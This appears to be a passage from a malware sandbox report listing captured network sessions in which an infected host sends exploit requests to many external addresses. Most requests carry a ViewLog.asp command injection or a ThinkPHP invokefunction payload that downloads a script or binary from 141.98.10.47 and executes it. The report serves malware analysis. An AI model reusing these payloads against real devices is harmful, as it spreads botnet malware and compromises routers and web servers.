#9.8d5e6cc1.1703622303.1836b50d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	43724	31.136.65.204	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:03.231383085 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:04.014810085 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:05.550554991 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:08.622132063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:14.765265942 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:27.051770926 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:53.415910006 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	42862	62.29.95.69	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:03.266242981 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	51856	95.101.211.86	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:03.287082911 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:03.618433952 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:03 GMT Date: Tue, 26 Dec 2023 20:25:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 65 30 62 31 35 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 30 33 26 23 34 36 3b 31 31 32 34 30 31 35 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.6e0b1502.1703622303.1124015b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	50402	112.164.218.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:05.976007938 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	39322	85.214.90.43	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:07.149667025 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	45200	94.123.41.131	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:07.176484108 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:11.437727928 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:17.580903053 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:29.611164093 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:55.463572025 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	48562	85.214.240.8	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:07.402889013 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:07.656570911 CET	1192	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1007 Date: Tue, 26 Dec 2023 20:25:07 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/7.0.52 (Ubuntu) - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.52 (Ubuntu)</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	32862	62.29.99.110	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:08.178157091 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	42532	94.121.25.211	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:08.180035114 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	52942	94.30.42.196	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:08.419361115 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:08.660809040 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Tue, 26 Dec 2023 20:05:10 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	34582	31.136.65.158	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:08.429753065 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:09.198050022 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:10.733848095 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
